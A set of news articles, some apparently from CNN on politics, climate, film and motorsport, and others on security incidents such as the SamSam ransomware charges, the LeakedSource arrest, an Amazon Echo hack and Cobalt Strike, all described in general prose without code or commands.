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(CNN)An Oath Keeper who served as private security for right-wing figures around January 6 pleaded guilty to seditious conspiracy and is cooperating with the Justice Department, becoming the first person charged with seditious conspiracy related to the attack to strike a plea deal.Joshua James, who led the Alabama chapter of the Oath Keepers, a far-right extremist group, also pleaded guilty to obstruction of an official proceeding. He faces up to nine years in prison and up to a $300,000 fine, according to the deal read aloud during Wednesday's hearing. Judge says Trump could be culpable for January 6 and says lawsuits against the former President can proceedThe development is a major step forward for prosecutors who brought the ambitious case, with some of the most serious charges in the January 6 investigation. Other Capitol riot defendants with ties to the Oath Keepers who did not face sedition charges have already agreed to cooperate. James, a Purple Heart recipient in the military, was originally arrested in March of last year for his alleged participation in the riot. During the hearing, James admitted that he and other members of the Oath Keepers had planned to storm the Capitol with the explicit goal of stopping the certification of the 2020 Electoral College vote. Read More"Do you agree that in taking such actions, you were trying to influence the conduct of the United States government or retaliate against the United States government?" federal Judge Amit Mehta asked during the hearing. "Yes sir," James responded. An FBI agent previously told the court that James had chauffeured Roger Stone, a longtime friend of former President Donald Trump, in a golf cart in Washington the day before January 6, 2021. Stone has not been accused of any crime. JUST WATCHEDHow Alex Jones helped spread the Oath Keepers' message to millionsReplayMore Videos ...MUST WATCHHow Alex Jones helped spread the Oath Keepers' message to millions 04:30According to his plea agreement, James met with Oath Keepers members, including founder Stewart Rhodes, in November 2020. During the meeting, James learned of "their plans to oppose by force the lawful transfer of presidential power," according to court documents. The alleged plan required members of the Oath Keepers, at Rhodes' direction, to use "any means necessary" to stop Joe Biden from becoming president, including using lethal force if anyone tried to forcibly remove Trump from the White House. In the indictment charging James and other Oath Keepers with seditious conspiracy, prosecutors alleged that members of the group had organized to disrupt Congress' certification of the 2020 election and to "oppose by force the lawful transfer of presidential power," stashing weapons and ammunition in a Virginia hotel as part of a quick reaction force and continuing to plot an attack after January 6.The indictment also alleges that in the aftermath of the riot, while other Oath Keepers plotted whether to take future action, James messaged an associate, "After this ... if nothing happens ...its war ... Civil War 2.0." On January 6, James rushed to join the riot in a golf cart. He and two other alleged Oath Keepers, Roberto Minuta and Jonathan Walden, entered the Capitol, at times brawling with police, according to the plea agreement. After the riot, James admitted that he, Rhodes and other members of the Oath Keepers took precautions to conceal their identities, including changing their appearance and using burner phones. James also admitted that he had gone on "multiple trips" with Rhodes to buy thousands of dollars' worth of firearms, ammunition and tactical gear. This story has been updated with additional details.
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Canadian authorities have arrested and charged an Ontario man for operating a website that collected 'stolen' personal identity records and credentials from some three billion online accounts and sold them for profit.
According to the Royal Canadian Mounted Police (RCMP), the 27-year-old Jordan Evan Bloom of Thornhill is the person behind the notorious LeakedSource.com—a major repository that compiled public data breaches and sold access to the data, including plaintext passwords.
Launched in late 2015, LeakedSource had collected around 3 billion personal identity records and associated passwords from some of the massive data breaches, including LinkedIn, VK.com, Last.Fm, Ashley Madison, MySpace, Twitter, Weebly and Foursquare, and made them accessible and searchable to anyone for a fee.
LeakedSource was shut down, and its associated social media accounts have been suspended after the law enforcement raided its operator earlier last year.
However, another website with the same domain name hosted by servers in Russia is still in operation.
Bloom is accused of operating the notorious website and claimed to have earned nearly US$200,000 by selling stolen personal identity records and associated passwords for a "small fee" via his site.
Appeared in a Toronto court on Monday, January 15, Bloom charged with trafficking in identity information, mischief to data, unauthorised use of a computer, and possession of property obtained by crime, the RCMP said.
"This investigation is related to claims about a website operator alleged to have made hundreds of thousands of dollars selling personal information," the RCMP Cybercrime Investigative Team said in a statement.
"The RCMP will continue to work diligently with our domestic and international law enforcement partners to prosecute online criminality."
Bloom was arrested and charged on December 22, 2017, as part of the RCMP's national cybercrime division investigation, dubbed 'Project Adoration.'
The RCMP said the Dutch national police and the United States' FBI assisted in the operation, adding the case could not have been cracked without international collaboration.
Bloom is currently in custody and due back in court on February 16.
Cybersecurity lawyer Imran Ahmad told Reuters that Bloom could face a maximum sentence 10 years in prison.
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Sign up for CNN's Wonder Theory science newsletter. Explore the universe with news on fascinating discoveries, scientific advancements and more. (CNN)The Amazon rainforest may be nearing a critical tipping point that could see the biologically rich and diverse ecosystem transformed into a grassy savannah. The fate of the rainforest is crucial to the health of the planet because it is home to a unique array of animal and plant life, stores a huge amount of carbon and strongly influences global weather patterns.Scientists say that about three quarters of the rainforest is showing signs of "resilience loss" -- a reduced ability to recover from disturbances like droughts, logging and fires. Their study is based on month-to-month observations of satellite data from the past 20 years that has mapped the biomass (the area's organic material ) and the greenness of the forest to show how it has changed in response to fluctuating weather conditions.This decreasing resilience since the early 2000s is a warning sign of irreversible decline, the authors said. While it isn't possible to tell exactly when the transition from rainforest to savannah might happen, once it was obvious, it would be too late to stop. 'Delay means death': We're running out of ways to adapt to the climate crisis, new report shows. Here are the key takeaways"It's worth reminding ourselves that if it gets to that tipping point and we commit to losing the Amazon rainforest, then we get a significant feedback to global climate change," Timothy M. Lenton, one of the authors of a new study and a director of the Global Systems Institute at the University of Exeter in the United Kingdom, told a news briefing. Read More"We lose about 90 billion tons of carbon dioxide mostly in the trees but also the soil (of the Amazon)," Lenton said. If the Amazon is no longer a rainforest, it won't store as much carbon.Aerial view showing a boat speeding on the Jurura river in the municipality of Carauari, in the heart of the Brazilian Amazon Forest, on March 15, 2020. Previous studies based on computer simulations have reached similar conclusions about an ecological point of no return for the Amazon rainforest -- but the authors said their research, published in Nature Climate Change on Monday, used real world observations. Once we reach the tipping point, the authors said the rainforest could disappear fairly quickly. "My hunch, for what it's worth, (is that) it could happen in the space of decades," Lenton said.The study found that loss of resilience was most stark in areas closer to human activity as well as those that received less rainfall. The study also noted that loss of resilience does not equate to a loss in the area of forest cover -- meaning that the rainforest could be close to the point of no return without clearly determinable changes. The climate crisis is messing with birds' body shapesChantelle Burton, a senior climate scientist at the Met Office Hadley Centre in the UK, said that there had been a question mark over how the Amazon rainforest would stand up to the challenges of climate change, land-use change and fires. She said this new study was "really important.""What this study does is offer some observational-based evidence for what is already happening to this significant carbon sink, and shows that human land-use and changes to weather and climate patterns are already driving an important change in the system," Burton, who wasn't involved in the research, told the Science Media Centre in London. "Passing a tipping point of this kind would make it even more difficult to achieve our goal of Net Zero emissions globally because of the loss of the "free service" provided by the Amazon carbon sink which currently removes some of our emissions."Richard Allan, a professor of climate science at the University of Reading, said the study was a "a comprehensive and rigorous assessment of the durability of the Amazon.""It reaches the tantalising conclusion that much of the Amazon is showing signs that it may be approaching a tipping point towards irreversible decline; but because multiple satellite sensors are used to infer the 'lushness' of the vegetation, we need to be sure those data records are showing accurate trends," Allan was quoted by the SMC statement as saying."In any case, it is undeniable that human activities are waging a war of attrition from multiple sides against the natural world, though thankfully in this case the solutions are known: to cease deforestation while rapidly and massively cutting greenhouse gas emissions."
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(CNN)Spoiler alert: "Avengers: Endgame" is not the first movie in which Mark Ruffalo and Brie Larson both appear.And if you didn't know, it's all good because apparently Ruffalo didn't either."Entertainment Tonight" surprised the actor on the red carpet for the premiere of the new Marvel movie by sharing with him that his co-star had appeared in one of his most beloved films, "13 Going on 30," which debuted in 2004."She was a mean girl," Ruffalo said upon seeing a photo of Larson in character from the movie. "Oh my God. I didn't know that."Fun fact #1: Brie Larson was in '13 Going on 30' with Mark Ruffalo Fun fact #2: He was just as shook as we were! 😭 #AvengersEndgame pic.twitter.com/nMXs26vOJp— Entertainment Tonight (@etnow) April 23, 2019
Larson reprises her role from her stand-alone movie as Carol Danvers/Captain Marvel in "Avengers: Endgame" and Ruffalo is back as Bruce Banner/Hulk.Read MoreThe now-29-year-old actress was pretty young when she was in the movie and Ruffalo, 51, explained why he didn't know they were in the same hit film. "We didn't work together," he said. "13 Going on 30" starred Jennifer Garner as a young girl who wakes up as an adult and reconnects with her now also adult childhood friend, played by Ruffalo. "Avengers: Endgame" hits theaters Friday.
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Staysure, a UK based Insurance company has suffered a massive data breach. More than 93,000 customers' sensitive financial data may have been compromised by unknown hackers.
We became aware of the problem on November 14, and quickly informed the relevant card issuing bodies and subsequently The Financial Conduct Authority, the Information Commissioner's Office and the Police.
The company notified that their systems have suffered cyber attack during the second half of October 2013 and Customers' Data including names, addresses, payment card details and CVV numbers has stolen.
In that attack, encrypted payment card details of customers who purchased insurance from us before May 2012 were stolen, along with CVV details and customer names and addresses. From May 2012 we ceased to store this data.
Credit card details were encrypted, but the CVV number was in the clear text, which is not good. Now this is not confirmed that their encryption implementation was secure or not. However if the payment card number is encrypted, then a hacker couldn't get the encrypted card number back so they couldn't use the CVV number anyway.
We immediately removed the software and systems that the attackers exploited, and we are confident that we are taking the right steps to protect our customers in the future.
Now any affected customers are being given free access to an identity monitoring service. The company has hired an Independent forensic data experts to fully ascertain the problem.
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The Department of Justice announced Wednesday charges against two Iranian nationals for their involvement in creating and deploying the notorious SamSam ransomware.
The alleged hackers, Faramarz Shahi Savandi, 34, and Mohammad Mehdi Shah, 27, have been charged on several counts of computer hacking and fraud charges, the indictment unsealed today at New Jersey court revealed.
The duo used SamSam ransomware to extort over $6 million in ransom payments since 2015, and also caused more than $30 million in damages to over 200 victims, including hospitals, municipalities, and public institutions.
According to the indictment, Savandi and Mansouri have been charged with a total of six counts, including one count of conspiracy to commit wire fraud, one count of conspiracy to commit fraud and related activity in connection with computers, two counts of intentional damage to a protected computer, and two counts of transmitting a demand in relation to damaging a protected computer.
Since both hackers live in and operated from Iran, they have not yet been arrested by the United States authorities and the FBI has added them on their list of wanted hackers.
According to the indictment, Savandi and Mansouri created the first version of the SamSam Ransomware in December 2015 and created further refined versions of the threat in June and October 2017.
"Defendants authored various versions of the SamSam Ransomware, which was designed to encrypt data on Victim computers. SamSam Ransomware was designed to maximize the damage caused to the Victim by, for instance, also encrypting backups of the targeted computers," the indictment says.
"Defendants used a variety of methods to gain access to Victim computer networks, including exploiting known security vulnerabilities in common server software and utilizing virtual private servers such as European VPS #1 and European VPS #2 to mask their identities."
Unlike most ransomware infections, SamSam was not distributed in an unplanned way via spam email campaigns. Instead, the attackers chose potential targets and infected systems manually.
Attackers first compromised the RDP on a targeted system—either by conducting brute force attacks or using stolen credentials—and then attempted to strategically deploy SamSam throughout the network by exploiting vulnerabilities in other systems.
Once on the entire network, SamSam encrypts the system's data and demands a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys.
Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University.
"According to the indictment, [affected victims includes] the City of Atlanta, the City of Newark, the Port of San Diego, the Colorado Department of Transportation, the University of Calgary, Hollywood Presbyterian Medical Centers, Kansas Heart Hospital, MedStar Health, Nebraska Orthopedic Hospital, and Allscripts Healthcare Solutions Inc."
The Atlanta city's officials refused to pay the ransomware, and the recovery effort cost them estimated $17 million.
Leaving behind other well-known ransomware viruses like WannaCry and NotPetya, SamSam became the largest paid ransomware of its kind with one individual victim paid $64,000.
Since Iran has no extradition policy with the United States, the indictment may not guarantee the extraditions or convictions of the two alleged hackers. But being on the wanted list of the FBI make it difficult for the duo to travel outside their country's boundary freely.
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(CNN)The Vatican has decided to turn off its famous fountains for the first time in living memory as hot dry weather triggers severe water shortages across Italy."The drought that is affecting the city of Rome and the surrounding areas of the capital has led the Holy See to take measures to save water," the Vatican said on its website."The Governorate of Vatican City State has decided to turn off all the fountains, both the external ones located in St. Peter's Square, and the interior fountains including those in the Vatican Gardens."The Vatican has around 100 decorative and drinking fountains, including two 500-year-old marble masterpieces in St. Peter's Square.People fill bottles from a fountain near St. Peter's Square, just outside Vatican City, on Tuesday.It's decision follows that of the separate Rome authorities, who have also begun to turn off some of the 2,500 drinking fountains that give the eternal city its character, as well as quenching people's thirsts in the hot summer months, a spokesman for Acea, the utility firm which runs Rome's water system, told CNN.Read MoreIt will however keep a minimum of 85 fountains open and will decide on how many fountains to close day by day based on the weather and severity of drought, the spokesman said. Officials from Acea in the Lazio region, which contains Rome, are meeting the environment ministry today to discuss the possibility of rationing the water supply to about half of the city's 3 million residents, Italian newspapers reported. The Lazio region is to put a stop on water being drawn from Lake Bracciano, about 20 miles from Rome, an important supplier of water to the city, because of a risk to aquatic life as it dries up, Lazio said on its website. Lake Bracciano is an important supplier of water to Rome. But while the water crisis in Rome and its surroundings has grabbed most of the headlines, the rest of Italy is also suffering from the effects of one of the hottest and driest springs in decades followed by searing summer heat and storms.According to the Italian farmers' lobby group Coldiretti, two-thirds of the country's farmland has been affected by the harsh weather."Violent thunderstorms and hailstones on farmland exhausted by drought in a crazy summer marked by extreme (weather) events has driven up the financial losses in the countryside to more that 2 billion euros ($2.3 billion)" Coldiretti said in a statement Tuesday. Coldiretti said forest fires have also taken their toll on the environment and economy in rural Italy. Meanwhile, in neighboring France, wildfires across the south of the country and the island of Corsica have burned thousands of acres of woodland.A spokesman for the Var told CNN that hundreds have firefighters have tackled more than 60 fires since yesterday in his region alone. He said the wildfires, while not unusual for the season, were being made worse this year because of drought. Reuters images show residents of the Cote d'Azur resort of Saint Tropez fleeing their villas as flames lapped around. Valentina Di Donato contributed to this report from Rome.
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Though Apple claims iMessage has end-to-end encryption, But researchers claimed at a security conference that Apple's iMessage system is not protected and the company can easily access it.
Cyril Cattiaux - better known as pod2g, who has developed iOS jailbreak software, said that the company's claim about iMessage protection by unbreakable encryption is just a lie, because the weakness is in the key infrastructure as it is controlled by Apple: they can change a key anytime they want, thus read the content of our iMessages.
Basically, when you send an iMessage to someone, you grab their public key from Apple, and encrypt your message using that public key. On the other end, recipients have their own private key that they use to decrypt this message. A third-party won't be able to see the actual message unless they have access to the private key.
Trust and public keys always have a problem, but the researchers noted that there's no evidence that Apple or the NSA is actually reading iMessages, but say that it's possible. "Apple has no reason to do so. But what of intelligence agencies?" he said.
The researchers were able to create a bogus certificate authority and then add it to an iPhone Keychain to proxify SSL encrypted communications to and from the device, and in the process discovered that their AppleID and password was being transmitted in clear text.
He says that since Apple controls the public key directory that gives you the public key for every user, it could perform a man-in-the-middle (MITM) attack to intercept your messages if asked to by a government agency.
A solution for Apple would be to store public keys locally in a protected database within iOS, as then the keys could be compared.
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Story highlightsOnly one American has won the MotoGP world title since 2000 Sport was dominated by US riders between 1978 and 1993CNN Sport speaks to ex-champs Kevin Schwantz and Kenny Roberts Jr. (CNN)MotoGP returns to its Spanish heartland in May, as Jerez prepares to host the fourth race of a tightly contested championship. With Spanish riders occupying 10 of the 23 spaces on starting grid, it will be a homecoming for almost half of the premier-class riders. Follow @cnnsport
It will also be a stark contrast to the previous race in Austin, Texas, where not a single American racer could be found in any of the three classes.At the stunning Circuit of the Americas, curled around an undulating stretch of scrubland on the city's outskirts, there were reminders of America's golden age, with four of its most successful racers present at the track.With US stalwarts Wayne Rainey, Kevin Schwantz, Kenny Roberts and his son Kenny Roberts Jr. standing by, CNN Sport asked the question: Just what's happened to all the great Americans in MotoGP?Read MoreIt's the moneyKenny Roberts Jr., who was celebrating his induction into the MotoGP Hall of Fame, acknowledges that having a world-champion father gave him a distinct advantage.Joining his father in the Hall of Fame... yesterday, Kenny Roberts Jnr became an official #MotoGP Legend!👏#AmericasGP pic.twitter.com/51qN15X3NH— MotoGP™ (@MotoGP) April 22, 2017
"I raced and practiced with world champions at a very young level, so it gave me an understanding of where I eventually needed to be," he told CNN. "I knew everything it took instead of wondering what it took, if that makes sense."The 43-year-old believes entering the sport now is tougher than ever. Part of the reason, he says, is financial. "I think it's much harder to get into now. The bikes are very close and the first top of the class in Moto3 are getting paid, but the last half -- even three quarters -- aren't making money. "They're bringing money to a team ... and when you start doing that it's very difficult I think."Behind the curveKevin Schwantz, the 1993 world champion who helped design the Austin circuit, believes Americans are at an immediate disadvantage compared with their European rivals. #BritishGP '94:▶️ Schwantz last victory▶️ First to use 16,5-inch @Michelin_Sport tyres🎥 https://t.co/fHtVMyl3K1 pic.twitter.com/KzF5ayu1yn— MotoGP™ (@MotoGP) September 1, 2016
"It's very difficult for American kids to get into the world championship loop," he told CNN. "I mean, Italy, Germany, Spain, everybody's got their pre-Moto3 championships, young kids can get there and start riding when they're 13 or 14."He points to one emerging American star who could break through, although he has had to travel to Europe to do it."We've got this kid, Damian Jigalov, in Italy racing and he's 12 years old, riding at 300 km/h, and he's better than anyone else on the track," added Schwantz. 500ccm: Kevin Schwantz, Assen 1993@KevinSchwantz @SuzukiOfficial @ttcircuitassen @MotoGP #DutchGP#TTAssen pic.twitter.com/8SQNHuxVmb— Racing News (@RacingNews56) June 22, 2015
"He's going to Europe, and doing races, and opening people's eyes a little bit."However, most American riders, Schwantz says, are behind the curve before they even start. "I think our problem here is that most of us don't think our kids can do anything until they're 16, when they can come race in MotoAmerica and be a professional," he explained. "If you're not on tracks where Grands Prix are being raced by the time you're 16 you're well behind the Europeans, because they've been there for a couple of years by the time they're that age and it's just such an easy transition."Developing talentCarmelo Ezpeleta, head of MotoGP administrator Dorna, believes the absence of a feeder championship in the US is a key reason American talent is no longer breaking through. "One big factor is the disappearance of the AMA Superbike series, because national competition has a great effect on creating champions in every country," he told CNN. The @KTMUSA top three from today's RC Cup @RoadAtlanta. Benjamin Smith, Draik Beauchamp and Alex Dumas. pic.twitter.com/6q9hsY6Px3— MotoAmerica (@MotoAmerica1) April 29, 2017
"Now there is MotoAmerica, and it's been a long time since there was a championship of that caliber to showcase and develop talent within the US."Not that he doesn't believe things will improve. "Now we hope the situation will begin to change and we will again see American talent emerging onto the global stage," said Ezpeleta. "It is certainly something that must be addressed because a lack of a national championship means a lack of new riders. I am sure there will be great American champions in the future again, just as there were in the past."Ezpeleta would also like to see a new junior series in the US. "An American Talent Cup could be the future for talent discovery and promotion in North America," he said. "Something similar to the Asia Talent Cup or the soon-to-start British Talent Cup. One of the key things upon which the future of the sport depends is the talent and the riders, because they create so much of the show -- one of the greatest on Earth."#GiveMe5 📸📸📸📸📸The traditional #AmericasGP podium #selfie! pic.twitter.com/F8LOnTsXPf— MotoGP™ (@MotoGP) April 23, 2017
A 15-year projectRoberts Jr. acknowledges Dorna's efforts, but believes the US may have a long wait before its riders repopulate the MotoGP grid. "To get Americans back into it, it's got to be an entire team effort," he told CNN. "It's like the Olympics -- you don't want just Spaniards and Italians and so on, it has to be an entire mix. "I know Dorna is making a big push to make sure young talent is coming through the field in other countries, and that's what they have to do here. That's a 15-year building block, in my opinion."Following Kevin Schwantz at #COTA, blow turn, Kenny Roberts Jr. zings by! Not too often two world champs pass you in a lap. @suzukicycles pic.twitter.com/jetGIIwGTi— Mark Hoyer (@CW1Hoyer) April 24, 2017
A team of 50Another issue for racing is the gulf in funding between MotoGP and other championships. Dug up this photo from @RoadAtlanta in '86 with me on the Honda and Schwantz on the Suzuki. #motoamerica is headed to Atlanta, April 28-30. pic.twitter.com/NH0pQep1oo— Wayne Rainey (@WayneRainey60) April 13, 2017
"My dad and mom went to have a tour of the KTM garage with Tim Kopra, the astronaut, and he said: 'I can't believe it, a two-rider team has close to 50 people!'" Schwantz told CNN. "We were talking to Howard Plumpton, who was the coordinator for Team Suzuki when I raced there, and he said, 'at our biggest, we were nine.' I mean, just the airfare getting people wherever you've got to get them, has quadrupled the budget."By contrast, Schwantz says, MotoAmerica struggles for cash. "What else that's lacking here in America is the support from the manufacturers," the former Suzuki rider told CNN."There's no real sponsors -- outside sponsors -- involved in MotoAmerica, so no real manufacturer support, and for sure without the sales of motorcycles and sports bikes where they used to be, you're not going to get a Suzuki spending $10 million racing."READ: Marc Marquez's moment of destinyAmerica still loves bikesSchwantz also points to a decline in interest in sports bikes on the streets of US, telling CNN it's become more about the "vintage scene."Induction upcoming for Kenny Roberts Jr. Into the @MotoGP Legends. And he brought the family. pic.twitter.com/xgs400xRYm— MotoAmerica (@MotoAmerica1) April 21, 2017
"The guys at Revival here in Austin have hit the nail on the head, taking an old, beat-up bike that looks to be something you wouldn't even wanna ride, and turning it into a daily commuter bike," said Schwantz.As he puts it, that couldn't be further from splashing out "$20,000 to go buy a sport bike that you can barely use second gear on in most cities."Again, Schwantz points to the contrast with Europe, telling CNN: "They buy scooters, they ride them in the winter, ride them in the summer -- it is their means of transportation. "Parking is a whole lot easier with a motorcycle," he added. "How much easier would it be here if we could get motorcycles to be commonplace as a means of transportation?"On race day, the Austin circuit was packed, indicating that MotoGP's appeal in the US remains strong. Better accessBut Schwantz believes the spectator experience could be improved, telling CNN he would "try and make things more accessible to the average person that comes, not just the person that has the paddock pass."Schwantz understands the pressure on riders like Valentino Rossi to spend time with fans, but recalls his first interactions with spectators as a young racer, when veteran competitor John Ulrich told him he'd quickly get tired of signing autographs.The older rider told Schwantz: "what you're really gonna hate is when they don't want them anymore, so sign as many as you can." Photos: The making of a motorcycling championHide Caption 1 of 19 Photos: The making of a motorcycling championHide Caption 2 of 19 Photos: The making of a motorcycling championHide Caption 3 of 19 Photos: The making of a motorcycling championHide Caption 4 of 19 Photos: The making of a motorcycling championHide Caption 5 of 19 Photos: The making of a motorcycling championHide Caption 6 of 19 Photos: The making of a motorcycling championHide Caption 7 of 19 Photos: The making of a motorcycling championHide Caption 8 of 19 Photos: The making of a motorcycling championHide Caption 9 of 19 Photos: The making of a motorcycling championHide Caption 10 of 19 Photos: The making of a motorcycling championHide Caption 11 of 19 Photos: The making of a motorcycling championHide Caption 12 of 19 Photos: The making of a motorcycling championHide Caption 13 of 19 Photos: The making of a motorcycling championHide Caption 14 of 19 Photos: The making of a motorcycling championHide Caption 15 of 19 Photos: The making of a motorcycling championHide Caption 16 of 19 Photos: The making of a motorcycling championHide Caption 17 of 19 Photos: The making of a motorcycling championHide Caption 18 of 19 Photos: The making of a motorcycling championHide Caption 19 of 19Life after RossiAway from the dearth of Americans, there's no doubt championship leader Valentino Rossi's appeal remains a huge part of MotoGP's popularity, and the prospect of life after the charismatic Italian is another big question for the sport. In Austin, crowds of fans waited patiently for a glimpse of the seven-time world champion, whose popularity way exceeds anyone else on the grid.Cota international circuit,Austin Arrivo della gara 👏🏼🏆🍾@MotoGP pic.twitter.com/w5AeVzguld— Valentino Rossi (@ValeYellow46) April 27, 2017
But Schwantz is optimistic about the future, telling CNN: "I think as long as the racing continues to be as good as it is in all three classes, there will be that next kid who stands out in Moto3 and turns into the next Valentino."I don't think there's anyone right now -- I think (the late) Marco Simoncelli was that guy. "Maybe there will be a drop in attendance initially, but when everybody realizes the racing is still as good as it's ever been, and that all it takes is a little bit of mist, a little bit of rain, and anybody in the field could win ... I think MotoGP is in a good place right now."Roberts Jr. jokes Rossi "has to ask" him permission to retire."I have to give it my blessing," smiled the 2000 championship winner. "Maybe that's what he's been waiting for, maybe he's been waiting for me to tell him he can stop. I hope he doesn't. "He was talking about going until he's forty, so a couple more years of him would be great."
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(CNN)Dale Earnhardt Jr. is only mostly retired, so he doesn't plan to miss driving at one of his favorite tracks when NASCAR goes to Darlington Raceway in South Carolina next weekend. Earnhardt, who was in a plane crash last week along with his wife, daughter and two pilots, said he's still hurting from the wreck but plans to take the wheel of a car in the Xfinity Series on August 31."My lower back is bruised up real bad. Lots of swelling and I just need that to go down and the pain to chill out," he tweeted. "I've been treating the area every day solely to get well to race."NASCAR gives free race tickets to the first responders of Dale Earnhardt's plane crash Earnhardt retired from full-time racing in 2017 because of the effects of concussions, but he has raced once since then -- last year in an Xfinity race at Richmond. Earnhardt is now a team owner and a television analyst for NBC.On Monday, after skipping the races in Bristol, Tennessee, near where his plane crashed after a hard landing, Earnhardt thanked his pilots, emergency responders and hospital workers.Read More"We are truly blessed that all on board escaped with no serious injuries, including our daughter, our two pilots and our dog Gus," Earnhardt added.Racing fans are looking forward to Earnhardt's one on-track appearance this year. He holds the record for winning the circuit's most popular driver award 15 years in a row.
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Critical Vulnerabilities in Facebook and Picasa discovered by Microsoft
Microsoft security researchers have identified critical vulnerabilities in Facebook and Google Picase which led to account compromise and arbitrary code execution.
The bug in Picasa that the MVR team found could allow an attacker to gain complete control of a user's machine if he could entice the victim into downloading a malicious JPEG file. It's not the most complex exploitation scenario, and in the current age of people sharing, downloading, emailing and re-posting photos on a variety of platforms, it might not be too difficult for an attacker to accomplish.
"A vulnerability exists in the way that Picasa handles certain specially crafted JPEG images. An attacker could exploit this vulnerability to cause Picasa to exit unexpectedly and execute arbitrary code. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. If a user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights," Microsoft said in its advisory.
The vulnerability in Facebook involves a problem with the way that the site implemented its protection against clickjacking attacks. An attacker could use the vulnerability to gain full access to a victim's account.
"A vulnerability exists in the way Facebook.com had previously implemented protection against clickjacking attacks. An attacker could exploit this vulnerability to circumvent Facebook privacy settings and expose potentially sensitive user information. An attacker who successfully exploited this vulnerability could take complete control of a user's Facebook.com account and could perform any action on behalf of the user such as read potentially sensitive data, change data, and delete contacts," the MVR advisory said.
UPDATE : Facebook has fixed the problem, Just after release of Advisory.
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Do you own an Amazon Echo?
So are you also worried about hackers turning out your device into a covert listening device?
Just relax, if there's no NSA, no CIA or none of your above-skilled friends after you.
Since yesterday there have been several reports on Amazon Echo hack that could allow a hacker to turn your smart speaker into a covert listening device, but users don't need to worry because the hack is not simple, requires physical access to the device and does not work on all devices, as well.
Amazon Echo is an always-listening voice-activated smart home speaker that is designed to play music, set alarms, answer questions via the Alexa voice assistant, and control connected smart home devices like WeMo, Hive and Nest.
Hack Turns Amazon Echo Into Spying Device (But It's Complex)
Now researchers from MWR InfoSecurity have demonstrated a hack, showing how hackers can exploit a vulnerability in some models of Amazon Echo to turn them into covert listening devices that can secretly record your most intimate moments.
But the hack is not simple and has some significant limitations:
The first major limitation of the Amazon Echo hack is that it does involve the hacker being able to gain physical access to the device, though, according to researchers, it is possible to tamper with the Echo without leaving any traces behind.
The second limitation is that the Amazon Echo hack works only against older models, as the vulnerability discovered by MWR researchers only affects the 2015 and 2016 versions of the AI-powered speaker.
Another major limitation to carry out this hack is that the attacker should be above average skills in Linux as well as embedded hardware systems.
In short, it is a very sophisticated hack that first requires James Bond to bypass all CCTV cameras, if you have, to stealthily gain physical access to your premises, and then at least 30 minutes spare time with the Amazon Echo to install the malware without leaving any traces of tampering.
In another scenario, as described by the researchers, your house cleaner or maid who has access to your device could also perform this attack, so the researchers dubbed the attack as "evil maid."
However, the 'evil maid' attack is not as impressive as it sounds because in such highly targeted scenario one can simply implant bugging devices with less effort, knowledge and time.
Hacking Amazon Echo: How It Works?
In order to carry out the evil maid hack, MWR Labs security researcher Mark Barnes first removed the Echo's rubber base on the bottom, which allowed them to access 18 debug "pads" Amazon engineers rely on to carry out various diagnostics.
Barnes then directly booted into the actual firmware of the device via an external SD card. From there, he was able to install persistent malware without leaving any physical traces of tampering with the device.
The malware then allowed the researcher to gain remote root shell access of the device, and ultimately access to the 'always listening' microphones.
"Once we'd root we examined the processes running on the device and the scripts that spawn these processes," Barnes wrote. "We were able to understand how audio media is being passed and buffered between processes and the tools that are used to create and interact with these audio buffers."
Barnes said his team then developed scripts that leveraged tools embedded on the Amazon Echo to continuously stream the raw microphone audio over TCP/IP to a remote server without affecting the actual functionality of the device itself.
This eventually means that hackers, at least theoretically, can covertly monitor and listen in on users conversations and steal private data without their permission or even realisation.
"The rooting of the Amazon Echo device in itself was trivial; however, it raises a number of important questions for manufacturers of Internet enabled or 'Smart Home' devices," Barnes added.
The researcher warned users from buying smart speakers from third-party retailers, along with advising them to push the Echo's mute button to disable the microphone physically.
In response to the MWR's findings, Amazon released a statement saying the best way for users to protect themselves from such tamperings is always to buy the Echo from the company directly.
"Customer trust is very important to us. To help ensure the latest safeguards are in place, as a general rule, we recommend customers purchase Amazon devices from Amazon or a trusted retailer and that they keep their software up-to-date," the company said.
Users owning 2017 models of the device are not affected by this latest hack, as the new models introduced a mitigation that joins two of the crucial debugging pads in a way that prevents the device from external booting.
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Organizations' cybersecurity capabilities have improved over the past decade, mostly out of necessity. As their defenses get better, so do the methods, tactics, and techniques malicious actors devise to penetrate their environments.
Instead of the standard virus or trojan, attackers today will deploy a variety of tools and methods to infiltrate an organization's environment and attack it from the inside.
In an interesting twist of fate, one of the tools organizations have used to audit and improve their defenses has also become a popular tool attackers use to infiltrate. Cobalt Strike is an Adversary Simulation and Red Team Operations tool that allows organizations to simulate advanced attacks and test their security stacks in a close-to-real-world simulation.
A new research webinar from XDR provider Cynet (register here) offers a better look at Cobalt Strike. The webinar, led by Cyber Operations Analyst for the Cynet MDR Team Yuval Fischer, will take a deep dive into the threat.
As a simulation, it is impressive in its capabilities, and it's prized for being highly customizable. All these traits have also made it an effective attack tool for actual malicious actors. Cobalt Strike is a C2 server that offers highly sophisticated and easy-to-use features, and the past year has seen a huge jump in the number of recorded Cobalt Strike attacks in the wild. In fact, a study by Recorded Future's Insikt Group found that Cobalt Strike was the most commonly deployed C2 server in malicious attacks.
One of the biggest reasons Cobalt Strike has become so widespread is its various capabilities, which include:
Reconnaissance on client-side software usage, as well as version vulnerabilities
A variety of attack packages that include social engineering, trojans, and masquerading tools
Collaboration tools that let group host share data with a group of attackers
Post exploitation tools to deploy scripts, log keystrokes and execute other payloads
Covert communication tools that let teams modify network indicators on the go
Browser pivoting to circumvent
Additionally, Cobalt Strike uses Beacon, a powerful delivery mechanism that can be transmitted over various protocols, and hide by modifying its network signature, emulating other types of malware, and even masquerading as legitimate traffic.
Even so, Cobalt Strike is not undetectable. However, it requires a variety of techniques to detect it properly. This includes things like examining default TLS certificates, searching for open ports, And performing HTTP requests to find non-existent pages. Even then, most organizations require advanced tools actually to defend against Cobalt Strike..
The new research webinar dives deeper into Cobalt Strike. It does so by exploring a few areas:
The basics of Cobalt Strike as an attack tool. This includes breaking down how it works, what makes it so effective, and how malicious actors have modified, customized, and upgraded it to become more dangerous.
Instances in the wild. More than any theoretical research, live case studies provide the greatest insights into how Cobalt Strike operates and succeeds in penetrating organizations' defenses.
